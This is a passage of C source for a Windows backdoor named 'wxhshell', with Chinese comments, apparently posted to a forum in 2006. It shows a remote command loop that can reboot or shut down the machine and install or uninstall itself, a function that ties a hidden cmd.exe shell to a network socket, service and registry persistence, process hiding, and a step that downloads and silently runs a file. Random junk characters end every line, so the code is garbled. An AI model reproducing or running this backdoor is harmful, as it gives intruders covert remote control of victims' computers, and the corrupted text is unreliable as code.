  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r]QeP{  
  } a5pM~.]  
  else { @raJB'  
;"9Ks.  
    switch(cmd[0]) { &+oJPpHi\  
  |na9I6  
  // 帮助 Sa.nUj{M=  
  case '?': { SbMRrWy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uV}GUE%W  
    break; eej#14 &  
  } asp\4-?$o  
  // 安装 e(1{W P  
  case 'i': { wkPomTO  
    if(Install()) +@8, uL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xf{p>-+DL  
    else \ E5kpm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ErsJWp  
    break; :(3'"^_NA  
    } + <w6sPm  
  // 卸载 _:Y| a>  
  case 'r': { !&@t  
    if(Uninstall()) #jj (S\WY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [-e$4^+9  
    else ev/)#i#s{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dq!YB[Z$:  
    break; UN;U+5,t  
    } TOSk+2P  
  // 显示 wxhshell 所在路径 o2]Np~`g,  
  case 'p': { SjJ$Oinc  
    char svExeFile[MAX_PATH]; *(i%\  
    strcpy(svExeFile,"\n\r"); r<P?F  
      strcat(svExeFile,ExeFile); &js$qgY  
        send(wsh,svExeFile,strlen(svExeFile),0); |6Iw\YU  
    break; G2c\"[N1/  
    } L-q)48+^k  
  // 重启 ?=kH}'igq  
  case 'b': { 7Ot&]M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?G&J_L=@Y  
    if(Boot(REBOOT)) Dp^=%F{t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:_10g]r  
    else { TDg<&ND3  
    closesocket(wsh); XC/M:2$  
    ExitThread(0); 6B>*v`T:  
    } |-GbHfz  
    break; 0BjP|API  
    } duCXCX^n T  
  // 关机 }J\7IsM&  
  case 'd': { C^U>{jf !  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q="ymx~  
    if(Boot(SHUTDOWN)) += gU`<\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); we*E}U4  
    else { 7eZwpg?K  
    closesocket(wsh); Tn>L?  
    ExitThread(0); qCm%};yt  
    } $\20Vgu<  
    break; 0PUSCka'6  
    } C'sA0O@O  
  // 获取shell $Nj'_G\}  
  case 's': { />PH{ l  
    CmdShell(wsh); 8N#.@\'kz.  
    closesocket(wsh); >7W8_6sC<  
    ExitThread(0); D42!#  
    break; |*]<*qnZt  
  } p8&rl|z|  
  // 退出 1x+w|h  
  case 'x': { O#vIn}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0? KvR``Aj  
    CloseIt(wsh); YQO9$g0% ~  
    break; \[B#dw#  
    } HXqG;Fds(  
  // 离开 ?i~mt'O  
  case 'q': { 7~D5Gy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x:]_z.5  
    closesocket(wsh); H3ob 8+J  
    WSACleanup(); j(_6.zf  
    exit(1); 8}Maj  
    break; ( M3-S5   
        } 5* ~E dT  
  } 0{Zwg0&  
  } = o1&.v2j  
nC9x N  
  // 提示信息 D r6u0rx8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lOIf4  
} I[LHJ4  
  } a)/ }T  
>- CNHb  
  return; +/#Lm#*nu%  
} $1D>}5Ex  
FJsg3D*@J  
// shell模块句柄 %w/:mH3FA  
int CmdShell(SOCKET sock) K!!#";Eo  
{ ;@[ax{ J  
STARTUPINFO si; If@%^'^ON=  
ZeroMemory(&si,sizeof(si)); r$!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :YmFQ>e?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9NC'iFQ#  
PROCESS_INFORMATION ProcessInfo; E I&)+cC  
char cmdline[]="cmd"; l9NET  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^JB5-EtL(  
  return 0; @c%h fI  
} ~t.i;eu  
z"{Ji{>%=  
// 自身启动模式 r5!Sps3B  
int StartFromService(void) w"E.Va  
{ ?)/&tk9.n  
typedef struct \ 3l3,VYH  
{ lXrAsm$  
  DWORD ExitStatus; sYyya:ykxT  
  DWORD PebBaseAddress; +~EFRiP]  
  DWORD AffinityMask; E&b!Y'  
  DWORD BasePriority; io4/M<6<  
  ULONG UniqueProcessId; {F*81q\  
  ULONG InheritedFromUniqueProcessId; ]y/!GFQ  
}   PROCESS_BASIC_INFORMATION; {UOR_Vt!*  
=>)4>WT8A  
PROCNTQSIP NtQueryInformationProcess; /p[lOg  
Sh o] ~)XX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Qo2Z;h@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R94 ID@LF  
C;eM:v0A[  
  HANDLE             hProcess; roWg~U(S  
  PROCESS_BASIC_INFORMATION pbi; o~p%ODH  
6^Ax3# q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]}N&I_mU  
  if(NULL == hInst ) return 0; uJt*> ;Kp  
.!h`(>+@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "@+r|x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }!5+G:JAh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +"SYG  
rY(h }z  
  if (!NtQueryInformationProcess) return 0; J [ 4IO  
>^+c s^jCM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xw83dQ]}^  
  if(!hProcess) return 0; 9uA2M!~i2  
Zd[6-/-:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )?,X\/5  
Hd0?}w\  
  CloseHandle(hProcess); A>Oi9%OY:  
N:7;c}~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mM;p 7 sJ  
if(hProcess==NULL) return 0; B)(ZRH  
m<e-XT  
HMODULE hMod; ^-pHhh|g  
char procName[255]; P{h$> 6c  
unsigned long cbNeeded; W .bJ.hO*  
5R"(4a P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kX:d?*{KB  
ugMf pT)  
  CloseHandle(hProcess); #~@Cl9[)D  
<+${gu?^  
if(strstr(procName,"services")) return 1; // 以服务启动 @m(ja@YC  
;kiL`K  
  return 0; // 注册表启动 d"hW45L  
} #MI4 `FZ  
bG[)r  
// 主模块 ~OQ/ |ws  
int StartWxhshell(LPSTR lpCmdLine) n*GsM6Y&  
{ K\vyfYi  
  SOCKET wsl; 0 P-eC|0  
BOOL val=TRUE; K#<cuHGC  
  int port=0; dw e$, 9  
  struct sockaddr_in door; mk&`dr  
Hwm] l`E]  
  if(wscfg.ws_autoins) Install(); %Ut7%obpi  
q+/7v9  
port=atoi(lpCmdLine); A5LTgGzaW  
7Eett)4  
if(port<=0) port=wscfg.ws_port; tHV81F1J  
aR}L- -m  
  WSADATA data; 2wki21oY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vpl> 5%  
,8MUTXd@ V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v*k}{M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \9GJa"xA`  
  door.sin_family = AF_INET; lYt|C^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JVgV,4 1  
  door.sin_port = htons(port); +8\1.vY  
2PrUI;J$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #.kDin~!  
closesocket(wsl); LmQS;/:  
return 1; K~B@8az  
} }b5If7  
vw/L|b7G  
  if(listen(wsl,2) == INVALID_SOCKET) { > R5<D'cEN  
closesocket(wsl); :6r)HJ5sg  
return 1; 3"ii_#1  
} ya^zlj\`0e  
  Wxhshell(wsl); i`}nv,  
  WSACleanup(); R8U?s/*  
g*nh8  
return 0; "}(g3Iy  
k;bdzcMkQ  
} 8qY\T0  
-U"h3Ye^  
// 以NT服务方式启动 3h-C&C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ' *6S0zt  
{ <$]=Vaq  
DWORD   status = 0; #M5R>&?Jqz  
  DWORD   specificError = 0xfffffff; AQH\ ;L  
97%S{_2m/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L6-zQztn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g_l=z`,8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~j&#DG&L  
  serviceStatus.dwWin32ExitCode     = 0; `X06JTqf:  
  serviceStatus.dwServiceSpecificExitCode = 0; Ur/+nL{  
  serviceStatus.dwCheckPoint       = 0;  @{|vW  
  serviceStatus.dwWaitHint       = 0; lSu\VCG  
L(bYG0ZI5C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (` N@4w=  
  if (hServiceStatusHandle==0) return; X pH]CF  
=I}8-AS~V  
status = GetLastError(); Bi'qy]%  
  if (status!=NO_ERROR) uGxh}'&  
{  gh{Z=_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xj^Hy"HC^~  
    serviceStatus.dwCheckPoint       = 0; '8$*gIQ8  
    serviceStatus.dwWaitHint       = 0; E~y@ue:  
    serviceStatus.dwWin32ExitCode     = status; 1D6F WYV8  
    serviceStatus.dwServiceSpecificExitCode = specificError; FXi"o $N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7 ^*xskH  
    return; e{"r3*  
  } mjwh40x.o  
O"D0+BK79e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <^APq8>  
  serviceStatus.dwCheckPoint       = 0; EqV]/0-\  
  serviceStatus.dwWaitHint       = 0; v7ShXX:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OcBK n=8  
} |H LU5=Y  
xKl!{A9$w  
// 处理NT服务事件,比如:启动、停止 YF]W<ZpY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k_^| %xJ  
{ 7vRFF@eq}  
switch(fdwControl) GjmPpKIu\  
{ $T)EJe  
case SERVICE_CONTROL_STOP: rk$$gXg9/  
  serviceStatus.dwWin32ExitCode = 0; z ]@ Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bh9!OqK9K  
  serviceStatus.dwCheckPoint   = 0; Ch~2w)HAA  
  serviceStatus.dwWaitHint     = 0; iAOm[=W  
  { Z+qTMm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|!FhZ  
  } jgfl|;I?pg  
  return; w*E0f?s  
case SERVICE_CONTROL_PAUSE: Aw38T w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nsRZy0@$t  
  break; ws tH&^  
case SERVICE_CONTROL_CONTINUE: O$2= Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]CFh0N|(L  
  break; nbVlP  
case SERVICE_CONTROL_INTERROGATE: b xU13ESv  
  break; PW[NW-S`c  
}; Y 0f"}A1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); km)5?  
} eq|G\XJ  
}3"FQ/6C  
// 标准应用程序主函数  o IUjd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :2qUel\PEC  
{ Zi0B$3iOb  
:KJG3j?   
// 获取操作系统版本 S-M| 6fv  
OsIsNt=GetOsVer(); |m^qA](M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 80p?qe  
C1/<t)^  
  // 从命令行安装 \5]${vs&s  
  if(strpbrk(lpCmdLine,"iI")) Install(); MS Ml  
?\ qfuA9.  
  // 下载执行文件 'q#$^ ='o  
if(wscfg.ws_downexe) { 1nt VM+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C;u8qVI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,r&:C48 dI  
} Eagl7'x  
>O{[w'sWa  
if(!OsIsNt) { 7lo`)3mB  
// 如果时win9x,隐藏进程并且设置为注册表启动 k3-'!dW<  
HideProc(); ;oKN8vI#7  
StartWxhshell(lpCmdLine); :f~[tox  
} ]w3-No  
else !zhg3B# p  
  if(StartFromService()) )CYm/dk  
  // 以服务方式启动 )4[Yplo  
  StartServiceCtrlDispatcher(DispatchTable); U_-9rkUa  
else V! sT2  
  // 普通方式启动 K%XQdMv  
  StartWxhshell(lpCmdLine); $yZ(c#L  
; W/K7}  
return 0; n^svRM]eQ  
}
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只看该作者 1 发表于: 2006-10-10
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